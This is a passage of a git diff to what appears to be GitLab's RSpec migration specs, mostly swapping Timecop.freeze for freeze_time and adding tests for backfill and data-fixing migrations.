--- a/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb
+++ b/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe BackfillDeploymentClustersFromDeployments, :migration, :sidekiq,
batch_2_end = create_deployment(**deployment_data)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
# batch 1
diff --git a/spec/migrations/20200703125016_backfill_namespace_settings_spec.rb b/spec/migrations/20200703125016_backfill_namespace_settings_spec.rb
index 7b84ef9e236..9ff88009d8a 100644
--- a/spec/migrations/20200703125016_backfill_namespace_settings_spec.rb
+++ b/spec/migrations/20200703125016_backfill_namespace_settings_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe BackfillNamespaceSettings, :sidekiq, schema: 20200703124823 do
it 'schedules BackfillNamespaceSettings background jobs' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, 1, 2)
diff --git a/spec/migrations/20200811130433_create_missing_vulnerabilities_issue_links_spec.rb b/spec/migrations/20200811130433_create_missing_vulnerabilities_issue_links_spec.rb
new file mode 100644
index 00000000000..a821e4a43df
--- /dev/null
+++ b/spec/migrations/20200811130433_create_missing_vulnerabilities_issue_links_spec.rb
@@ -0,0 +1,160 @@
+# frozen_string_literal: true
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20200811130433_create_missing_vulnerabilities_issue_links.rb')
+
+RSpec.describe CreateMissingVulnerabilitiesIssueLinks, :migration do
+ let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
+ let(:users) { table(:users) }
+ let(:user) { create_user! }
+ let(:project) { table(:projects).create!(id: 123, namespace_id: namespace.id) }
+ let(:scanners) { table(:vulnerability_scanners) }
+ let(:scanner) { scanners.create!(project_id: project.id, external_id: 'test 1', name: 'test scanner 1') }
+ let(:different_scanner) { scanners.create!(project_id: project.id, external_id: 'test 2', name: 'test scanner 2') }
+ let(:issues) { table(:issues) }
+ let(:issue1) { issues.create!(id: 123, project_id: project.id) }
+ let(:issue2) { issues.create!(id: 124, project_id: project.id) }
+ let(:issue3) { issues.create!(id: 125, project_id: project.id) }
+ let(:vulnerabilities) { table(:vulnerabilities) }
+ let(:vulnerabilities_findings) { table(:vulnerability_occurrences) }
+ let(:vulnerability_feedback) { table(:vulnerability_feedback) }
+ let(:vulnerability_issue_links) { table(:vulnerability_issue_links) }
+ let(:vulnerability_identifiers) { table(:vulnerability_identifiers) }
+ let(:vulnerability_identifier) { vulnerability_identifiers.create!(project_id: project.id, external_type: 'test 1', external_id: 'test 1', fingerprint: 'test 1', name: 'test 1') }
+ let(:different_vulnerability_identifier) { vulnerability_identifiers.create!(project_id: project.id, external_type: 'test 2', external_id: 'test 2', fingerprint: 'test 2', name: 'test 2') }
+
+ let!(:vulnerability) do
+ create_vulnerability!(
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ before do
+ create_finding!(
+ vulnerability_id: vulnerability.id,
+ project_id: project.id,
+ scanner_id: scanner.id,
+ primary_identifier_id: vulnerability_identifier.id
+ )
+ create_feedback!(
+ issue_id: issue1.id,
+ project_id: project.id,
+ author_id: user.id
+ )
+
+ # Create a finding with no vulnerability_id
+ # https://gitlab.com/gitlab-com/gl-infra/production/-/issues/2539
+ create_finding!(
+ vulnerability_id: nil,
+ project_id: project.id,
+ scanner_id: different_scanner.id,
+ primary_identifier_id: different_vulnerability_identifier.id,
+ location_fingerprint: 'somewhereinspace',
+ uuid: 'test2'
+ )
+ create_feedback!(
+ category: 2,
+ issue_id: issue2.id,
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ context 'with no Vulnerabilities::IssueLinks present' do
+ it 'creates missing Vulnerabilities::IssueLinks' do
+ expect(vulnerability_issue_links.count).to eq(0)
+
+ migrate!
+
+ expect(vulnerability_issue_links.count).to eq(1)
+ end
+ end
+
+ context 'when an Vulnerabilities::IssueLink already exists' do
+ before do
+ vulnerability_issue_links.create!(vulnerability_id: vulnerability.id, issue_id: issue1.id)
+ end
+
+ it 'creates no duplicates' do
+ expect(vulnerability_issue_links.count).to eq(1)
+
+ migrate!
+
+ expect(vulnerability_issue_links.count).to eq(1)
+ end
+ end
+
+ context 'when an Vulnerabilities::IssueLink of type created already exists' do
+ before do
+ vulnerability_issue_links.create!(vulnerability_id: vulnerability.id, issue_id: issue3.id, link_type: 2)
+ end
+
+ it 'creates no duplicates' do
+ expect(vulnerability_issue_links.count).to eq(1)
+
+ migrate!
+
+ expect(vulnerability_issue_links.count).to eq(1)
+ end
+ end
+
+ private
+
+ def create_vulnerability!(project_id:, author_id:, title: 'test', severity: 7, confidence: 7, report_type: 0)
+ vulnerabilities.create!(
+ project_id: project_id,
+ author_id: author_id,
+ title: title,
+ severity: severity,
+ confidence: confidence,
+ report_type: report_type
+ )
+ end
+
+ # rubocop:disable Metrics/ParameterLists
+ def create_finding!(
+ vulnerability_id:, project_id:, scanner_id:, primary_identifier_id:,
+ name: "test", severity: 7, confidence: 7, report_type: 0,
+ project_fingerprint: '123qweasdzxc', location_fingerprint: 'test',
+ metadata_version: 'test', raw_metadata: 'test', uuid: 'test')
+ vulnerabilities_findings.create!(
+ vulnerability_id: vulnerability_id,
+ project_id: project_id,
+ name: name,
+ severity: severity,
+ confidence: confidence,
+ report_type: report_type,
+ project_fingerprint: project_fingerprint,
+ scanner_id: scanner.id,
+ primary_identifier_id: vulnerability_identifier.id,
+ location_fingerprint: location_fingerprint,
+ metadata_version: metadata_version,
+ raw_metadata: raw_metadata,
+ uuid: uuid
+ )
+ end
+ # rubocop:enable Metrics/ParameterLists
+
+ # project_fingerprint on Vulnerabilities::Finding is a bytea and we need to match this
+ def create_feedback!(issue_id:, project_id:, author_id:, feedback_type: 1, category: 0, project_fingerprint: '3132337177656173647a7863')
+ vulnerability_feedback.create!(
+ feedback_type: feedback_type,
+ issue_id: issue_id,
+ category: category,
+ project_fingerprint: project_fingerprint,
+ project_id: project_id,
+ author_id: author_id
+ )
+ end
+
+ def create_user!(name: "Example User", email: "user@example.com", user_type: nil, created_at: Time.now, confirmed_at: Time.now)
+ users.create!(
+ name: name,
+ email: email,
+ username: name,
+ projects_limit: 0,
+ user_type: user_type,
+ confirmed_at: confirmed_at
+ )
+ end
+end
diff --git a/spec/migrations/20200915044225_schedule_migration_to_hashed_storage_spec.rb b/spec/migrations/20200915044225_schedule_migration_to_hashed_storage_spec.rb
new file mode 100644
index 00000000000..20ba2fbccea
--- /dev/null
+++ b/spec/migrations/20200915044225_schedule_migration_to_hashed_storage_spec.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20200915044225_schedule_migration_to_hashed_storage.rb')
+
+RSpec.describe ScheduleMigrationToHashedStorage, :sidekiq do
+ describe '#up' do
+ it 'schedules background migration job' do
+ Sidekiq::Testing.fake! do
+ expect { migrate! }.to change { BackgroundMigrationWorker.jobs.size }.by(1)
+ end
+ end
+ end
+end
diff --git a/spec/migrations/backfill_imported_snippet_repositories_spec.rb b/spec/migrations/backfill_imported_snippet_repositories_spec.rb
index 208bda274e2..998a691bf77 100644
--- a/spec/migrations/backfill_imported_snippet_repositories_spec.rb
+++ b/spec/migrations/backfill_imported_snippet_repositories_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe BackfillImportedSnippetRepositories do
create_snippet(10)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(described_class::MIGRATION)
diff --git a/spec/migrations/backfill_snippet_repositories_spec.rb b/spec/migrations/backfill_snippet_repositories_spec.rb
index 084faa16a37..6d417669ad6 100644
--- a/spec/migrations/backfill_snippet_repositories_spec.rb
+++ b/spec/migrations/backfill_snippet_repositories_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe BackfillSnippetRepositories do
stub_const("#{described_class.name}::BATCH_SIZE", 2)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(described_class::MIGRATION)
diff --git a/spec/migrations/complete_namespace_settings_migration_spec.rb b/spec/migrations/complete_namespace_settings_migration_spec.rb
new file mode 100644
index 00000000000..7820536f355
--- /dev/null
+++ b/spec/migrations/complete_namespace_settings_migration_spec.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20200907124300_complete_namespace_settings_migration.rb')
+
+RSpec.describe CompleteNamespaceSettingsMigration, :redis do
+ let(:migration) { spy('migration') }
+
+ context 'when still legacy artifacts exist' do
+ let(:namespaces) { table(:namespaces) }
+ let(:namespace_settings) { table(:namespace_settings) }
+ let!(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+
+ it 'steals sidekiq jobs from BackfillNamespaceSettings background migration' do
+ expect(Gitlab::BackgroundMigration).to receive(:steal).with('BackfillNamespaceSettings')
+
+ migrate!
+ end
+
+ it 'migrates namespaces without namespace_settings' do
+ expect { migrate! }.to change { namespace_settings.count }.from(0).to(1)
+ end
+ end
+end
diff --git a/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb b/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb
index f5728534675..d4189326366 100644
--- a/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb
+++ b/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe EnqueueResetMergeStatusSecondRun do
stub_const("#{described_class.name}::BATCH_SIZE", 2)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(described_class::MIGRATION)
diff --git a/spec/migrations/enqueue_reset_merge_status_spec.rb b/spec/migrations/enqueue_reset_merge_status_spec.rb
index 683d2caf9ca..c581293ddcd 100644
--- a/spec/migrations/enqueue_reset_merge_status_spec.rb
+++ b/spec/migrations/enqueue_reset_merge_status_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe EnqueueResetMergeStatus do
stub_const("#{described_class.name}::BATCH_SIZE", 2)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(described_class::MIGRATION)
diff --git a/spec/migrations/ensure_filled_external_diff_store_on_merge_request_diffs_spec.rb b/spec/migrations/ensure_filled_external_diff_store_on_merge_request_diffs_spec.rb
new file mode 100644
index 00000000000..808580d5770
--- /dev/null
+++ b/spec/migrations/ensure_filled_external_diff_store_on_merge_request_diffs_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20200910170908_ensure_filled_external_diff_store_on_merge_request_diffs.rb')
+
+RSpec.describe EnsureFilledExternalDiffStoreOnMergeRequestDiffs, schema: 20200908095446 do
+ let!(:merge_request_diffs) { table(:merge_request_diffs) }
+ let!(:merge_requests) { table(:merge_requests) }
+ let!(:namespaces) { table(:namespaces) }
+ let!(:projects) { table(:projects) }
+ let!(:namespace) { namespaces.create!(name: 'foo', path: 'foo') }
+ let!(:project) { projects.create!(namespace_id: namespace.id) }
+ let!(:merge_request) { merge_requests.create!(source_branch: 'x', target_branch: 'master', target_project_id: project.id) }
+
+ before do
+ constraint_name = 'check_93ee616ac9'
+
+ # In order to insert a row with a NULL to fill.
+ ActiveRecord::Base.connection.execute "ALTER TABLE merge_request_diffs DROP CONSTRAINT #{constraint_name}"
+
+ @external_diff_store_1 = merge_request_diffs.create!(external_diff_store: 1, merge_request_id: merge_request.id)
+ @external_diff_store_2 = merge_request_diffs.create!(external_diff_store: 2, merge_request_id: merge_request.id)
+ @external_diff_store_nil = merge_request_diffs.create!(external_diff_store: nil, merge_request_id: merge_request.id)
+
+ # revert DB structure
+ ActiveRecord::Base.connection.execute "ALTER TABLE merge_request_diffs ADD CONSTRAINT #{constraint_name} CHECK ((external_diff_store IS NOT NULL)) NOT VALID"
+ end
+
+ it 'correctly migrates nil external_diff_store to 1' do
+ migrate!
+
+ @external_diff_store_1.reload
+ @external_diff_store_2.reload
+ @external_diff_store_nil.reload
+
+ expect(@external_diff_store_1.external_diff_store).to eq(1) # unchanged
+ expect(@external_diff_store_2.external_diff_store).to eq(2) # unchanged
+ expect(@external_diff_store_nil.external_diff_store).to eq(1) # nil => 1
+ end
+end
diff --git a/spec/migrations/ensure_target_project_id_is_filled_spec.rb b/spec/migrations/ensure_target_project_id_is_filled_spec.rb
new file mode 100644
index 00000000000..72d59a72814
--- /dev/null
+++ b/spec/migrations/ensure_target_project_id_is_filled_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20200831065705_ensure_target_project_id_is_filled.rb')
+
+RSpec.describe EnsureTargetProjectIdIsFilled, schema: 20200827085101 do
+ let_it_be(:namespaces) { table(:namespaces) }
+ let_it_be(:projects) { table(:projects) }
+ let_it_be(:merge_requests) { table(:merge_requests) }
+ let_it_be(:metrics) { table(:merge_request_metrics) }
+
+ let!(:namespace) { namespaces.create!(name: 'namespace', path: 'namespace') }
+ let!(:project_1) { projects.create!(namespace_id: namespace.id) }
+ let!(:project_2) { projects.create!(namespace_id: namespace.id) }
+ let!(:merge_request_to_migrate_1) { merge_requests.create!(source_branch: 'a', target_branch: 'b', target_project_id: project_1.id) }
+ let!(:merge_request_to_migrate_2) { merge_requests.create!(source_branch: 'c', target_branch: 'd', target_project_id: project_2.id) }
+ let!(:merge_request_not_to_migrate) { merge_requests.create!(source_branch: 'e', target_branch: 'f', target_project_id: project_1.id) }
+
+ let!(:metrics_1) { metrics.create!(merge_request_id: merge_request_to_migrate_1.id) }
+ let!(:metrics_2) { metrics.create!(merge_request_id: merge_request_to_migrate_2.id) }
+ let!(:metrics_3) { metrics.create!(merge_request_id: merge_request_not_to_migrate.id, target_project_id: project_1.id) }
+
+ it 'migrates missing target_project_ids' do
+ migrate!
+
+ expect(metrics_1.reload.target_project_id).to eq(project_1.id)
+ expect(metrics_2.reload.target_project_id).to eq(project_2.id)
+ expect(metrics_3.reload.target_project_id).to eq(project_1.id)
+ end
+end
diff --git a/spec/migrations/fix_projects_without_project_feature_spec.rb b/spec/migrations/fix_projects_without_project_feature_spec.rb
index 2a4ba3f3ca5..1ec67c07ba3 100644
--- a/spec/migrations/fix_projects_without_project_feature_spec.rb
+++ b/spec/migrations/fix_projects_without_project_feature_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe FixProjectsWithoutProjectFeature do
around do |example|
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
example.call
end
end
diff --git a/spec/migrations/fix_projects_without_prometheus_services_spec.rb b/spec/migrations/fix_projects_without_prometheus_services_spec.rb
index 73ede2ad90c..a4504ab6773 100644
--- a/spec/migrations/fix_projects_without_prometheus_services_spec.rb
+++ b/spec/migrations/fix_projects_without_prometheus_services_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe FixProjectsWithoutPrometheusService, :migration do
around do |example|
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
example.call
end
end
diff --git a/spec/migrations/fix_wrong_pages_access_level_spec.rb b/spec/migrations/fix_wrong_pages_access_level_spec.rb
index 9ee5fa783a4..80787e0f115 100644
--- a/spec/migrations/fix_wrong_pages_access_level_spec.rb
+++ b/spec/migrations/fix_wrong_pages_access_level_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe FixWrongPagesAccessLevel, :sidekiq_might_not_need_inline, schema:
it 'correctly schedules background migrations' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
first_id = create_project_feature("project1", project_class::PRIVATE, feature_class::PRIVATE).id
last_id = create_project_feature("project2", project_class::PRIVATE, feature_class::PUBLIC).id
diff --git a/spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb b/spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb
index e3119be495d..92a49046193 100644
--- a/spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb
+++ b/spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe MigrateDiscussionIdOnPromotedEpics do
stub_const("#{described_class.name}::BATCH_SIZE", 2)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(migration_name).to be_scheduled_delayed_migration(2.minutes, %w(id1 id2))
@@ -69,7 +69,7 @@ RSpec.describe MigrateDiscussionIdOnPromotedEpics do
create_note(create_epic, 'id3')
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(migration_name).to be_scheduled_delayed_migration(2.minutes, %w(id1))
diff --git a/spec/migrations/move_limits_from_plans_spec.rb b/spec/migrations/move_limits_from_plans_spec.rb
index 16f94ba6dbb..a7a7d540ed3 100644
--- a/spec/migrations/move_limits_from_plans_spec.rb
+++ b/spec/migrations/move_limits_from_plans_spec.rb
@@ -7,7 +7,6 @@ RSpec.describe MoveLimitsFromPlans do
let(:plans) { table(:plans) }
let(:plan_limits) { table(:plan_limits) }
- let!(:early_adopter_plan) { plans.create(name: 'early_adopter', title: 'Early adopter', active_pipelines_limit: 10, pipeline_size_limit: 11, active_jobs_limit: 12) }
let!(:gold_plan) { plans.create(name: 'gold', title: 'Gold', active_pipelines_limit: 20, pipeline_size_limit: 21, active_jobs_limit: 22) }
let!(:silver_plan) { plans.create(name: 'silver', title: 'Silver', active_pipelines_limit: 30, pipeline_size_limit: 31, active_jobs_limit: 32) }
let!(:bronze_plan) { plans.create(name: 'bronze', title: 'Bronze', active_pipelines_limit: 40, pipeline_size_limit: 41, active_jobs_limit: 42) }
@@ -16,7 +15,7 @@ RSpec.describe MoveLimitsFromPlans do
describe 'migrate' do
it 'populates plan_limits from all the records in plans' do
- expect { migrate! }.to change { plan_limits.count }.by 6
+ expect { migrate! }.to change { plan_limits.count }.by 5
end
it 'copies plan limits and plan.id into to plan_limits table' do
@@ -24,7 +23,6 @@ RSpec.describe MoveLimitsFromPlans do
new_data = plan_limits.pluck(:plan_id, :ci_active_pipelines, :ci_pipeline_size, :ci_active_jobs)
expected_data = [
- [early_adopter_plan.id, 10, 11, 12],
[gold_plan.id, 20, 21, 22],
[silver_plan.id, 30, 31, 32],
[bronze_plan.id, 40, 41, 42],
diff --git a/spec/migrations/schedule_calculate_wiki_sizes_spec.rb b/spec/migrations/schedule_calculate_wiki_sizes_spec.rb
index 39a93f3ed25..0af491d863b 100644
--- a/spec/migrations/schedule_calculate_wiki_sizes_spec.rb
+++ b/spec/migrations/schedule_calculate_wiki_sizes_spec.rb
@@ -16,12 +16,12 @@ RSpec.describe ScheduleCalculateWikiSizes do
let(:project3) { projects.create!(name: 'wiki-project-3', path: 'wiki-project-3', namespace_id: namespace.id) }
context 'when missing wiki sizes exist' do
- let!(:project_statistic1) { project_statistics.create!(id: 1, project_id: project1.id, namespace_id: namespace.id, wiki_size: 1000) }
- let!(:project_statistic2) { project_statistics.create!(id: 2, project_id: project2.id, namespace_id: namespace.id, wiki_size: nil) }
- let!(:project_statistic3) { project_statistics.create!(id: 3, project_id: project3.id, namespace_id: namespace.id, wiki_size: nil) }
+ let!(:project_statistic1) { project_statistics.create!(project_id: project1.id, namespace_id: namespace.id, wiki_size: 1000) }
+ let!(:project_statistic2) { project_statistics.create!(project_id: project2.id, namespace_id: namespace.id, wiki_size: nil) }
+ let!(:project_statistic3) { project_statistics.create!(project_id: project3.id, namespace_id: namespace.id, wiki_size: nil) }
it 'schedules a background migration' do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(migration_name).to be_scheduled_delayed_migration(5.minutes, project_statistic2.id, project_statistic3.id)
@@ -44,12 +44,12 @@ RSpec.describe ScheduleCalculateWikiSizes do
before do
namespace = namespaces.create!(name: 'wiki-migration', path: 'wiki-migration')
project = projects.create!(name: 'wiki-project-1', path: 'wiki-project-1', namespace_id: namespace.id)
- project_statistics.create!(project_id: project.id, namespace_id: 1, wiki_size: 1000)
+ project_statistics.create!(project_id: project.id, namespace_id: namespace.id, wiki_size: 1000)
end
it 'does not schedule a background migration' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(BackgroundMigrationWorker.jobs.size).to eq 0
diff --git a/spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb b/spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb
index a51bc374d5f..539b9ee96a8 100644
--- a/spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb
+++ b/spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe ScheduleFillValidTimeForPagesDomainCertificates do
it 'correctly schedules background migrations' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
first_id = domains_table.find_by_domain("domain3.example.com").id
diff --git a/spec/migrations/schedule_migrate_security_scans_spec.rb b/spec/migrations/schedule_migrate_security_scans_spec.rb
index 4fd17b20666..61b14f239ae 100644
--- a/spec/migrations/schedule_migrate_security_scans_spec.rb
+++ b/spec/migrations/schedule_migrate_security_scans_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe ScheduleMigrateSecurityScans, :sidekiq do
it 'schedules migration of security scans' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migration.up
expect(described_class::MIGRATION).to be_scheduled_delayed_migration(5.minutes, job_artifact_1.id, job_artifact_1.id)
@@ -57,7 +57,7 @@ RSpec.describe ScheduleMigrateSecurityScans, :sidekiq do
it 'schedules migration of security scans' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migration.up
expect(BackgroundMigrationWorker.jobs).to be_empty
diff --git a/spec/migrations/schedule_pages_metadata_migration_spec.rb b/spec/migrations/schedule_pages_metadata_migration_spec.rb
index c37e19eb71c..94311237cf4 100644
--- a/spec/migrations/schedule_pages_metadata_migration_spec.rb
+++ b/spec/migrations/schedule_pages_metadata_migration_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe SchedulePagesMetadataMigration do
it 'schedules pages metadata migration' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, 111, 111)
diff --git a/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb b/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb
index 8b26cd589fd..93185b330c7 100644
--- a/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb
+++ b/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe SchedulePopulateMergeRequestAssigneesTable do
stub_const("#{described_class.name}::BATCH_SIZE", 2)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(described_class::MIGRATION)
diff --git a/spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb b/spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb
index ce618449884..8678361fc64 100644
--- a/spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb
+++ b/spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe SchedulePopulatePersonalSnippetStatistics do
stub_const("#{described_class}::BATCH_SIZE", 4)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
aggregate_failures do
diff --git a/spec/migrations/schedule_populate_project_snippet_statistics_spec.rb b/spec/migrations/schedule_populate_project_snippet_statistics_spec.rb
index 05e9d4d2f79..d5f048ed5cb 100644
--- a/spec/migrations/schedule_populate_project_snippet_statistics_spec.rb
+++ b/spec/migrations/schedule_populate_project_snippet_statistics_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe SchedulePopulateProjectSnippetStatistics do
stub_const("#{described_class}::BATCH_SIZE", 4)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
aggregate_failures do
diff --git a/spec/migrations/schedule_populate_user_highest_roles_table_spec.rb b/spec/migrations/schedule_populate_user_highest_roles_table_spec.rb
index c7e5c6f30a6..32def8ab47d 100644
--- a/spec/migrations/schedule_populate_user_highest_roles_table_spec.rb
+++ b/spec/migrations/schedule_populate_user_highest_roles_table_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe SchedulePopulateUserHighestRolesTable do
stub_const("#{described_class.name}::BATCH_SIZE", 2)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(described_class::MIGRATION).to be_scheduled_delayed_migration(5.minutes, 1, 4)
diff --git a/spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb b/spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb
index 06f1a7e28eb..a02e00de1e3 100644
--- a/spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb
+++ b/spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe ScheduleRecalculateProjectAuthorizationsSecondRun do
it 'schedules background migration' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(BackgroundMigrationWorker.jobs.size).to eq(2)
diff --git a/spec/migrations/schedule_recalculate_project_authorizations_spec.rb b/spec/migrations/schedule_recalculate_project_authorizations_spec.rb
index 9519b103284..378e6aa133d 100644
--- a/spec/migrations/schedule_recalculate_project_authorizations_spec.rb
+++ b/spec/migrations/schedule_recalculate_project_authorizations_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe ScheduleRecalculateProjectAuthorizations do
it 'schedules background migration' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(BackgroundMigrationWorker.jobs.size).to eq(2)
@@ -45,7 +45,7 @@ RSpec.describe ScheduleRecalculateProjectAuthorizations do
access_level: 30)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(BackgroundMigrationWorker.jobs.size).to eq(2)
diff --git a/spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb b/spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb
index 300bb940dd8..5328abf7ea7 100644
--- a/spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb
+++ b/spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe ScheduleRecalculateProjectAuthorizationsThirdRun do
it 'schedules background migration' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(BackgroundMigrationWorker.jobs.size).to eq(2)
diff --git a/spec/migrations/schedule_sync_issuables_state_id_spec.rb b/spec/migrations/schedule_sync_issuables_state_id_spec.rb
index ecfebbde348..d22d636e084 100644
--- a/spec/migrations/schedule_sync_issuables_state_id_spec.rb
+++ b/spec/migrations/schedule_sync_issuables_state_id_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe ScheduleSyncIssuablesStateId do
it 'correctly schedules issuable sync background migration' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(migration).to be_scheduled_delayed_migration(120.seconds, resource_1.id, resource_2.id)
diff --git a/spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb b/spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb
index d23f5b69d22..3d450f0e6bc 100644
--- a/spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb
+++ b/spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe ScheduleSyncIssuablesStateIdWhereNil do
it 'correctly schedules issuable sync background migration' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(migration).to be_scheduled_delayed_migration(120.seconds, resource_1.id, resource_3.id)
diff --git a/spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb b/spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb
index 949d8d8794f..deb7aae737a 100644
--- a/spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb
+++ b/spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe ScheduleUpdateExistingSubgroupToMatchVisibilityLevelOfParent do
create_namespace('child', Gitlab::VisibilityLevel::PUBLIC, parent_id: parent.id)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(BackgroundMigrationWorker.jobs.size).to eq(1)
@@ -30,7 +30,7 @@ RSpec.describe ScheduleUpdateExistingSubgroupToMatchVisibilityLevelOfParent do
create_namespace('child', Gitlab::VisibilityLevel::PUBLIC, parent_id: middle_group.id)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(BackgroundMigrationWorker.jobs.size).to eq(1)
@@ -47,7 +47,7 @@ RSpec.describe ScheduleUpdateExistingSubgroupToMatchVisibilityLevelOfParent do
create_namespace('child', Gitlab::VisibilityLevel::PUBLIC, parent_id: middle_group.id)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(BackgroundMigrationWorker.jobs.size).to eq(1)
@@ -66,7 +66,7 @@ RSpec.describe ScheduleUpdateExistingSubgroupToMatchVisibilityLevelOfParent do
create_namespace('child', Gitlab::VisibilityLevel::PUBLIC, parent_id: middle_group.id)
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(BackgroundMigrationWorker.jobs.size).to eq(2)
diff --git a/spec/models/alert_management/alert_spec.rb b/spec/models/alert_management/alert_spec.rb
index f937a879400..eb9dcca842d 100644
--- a/spec/models/alert_management/alert_spec.rb
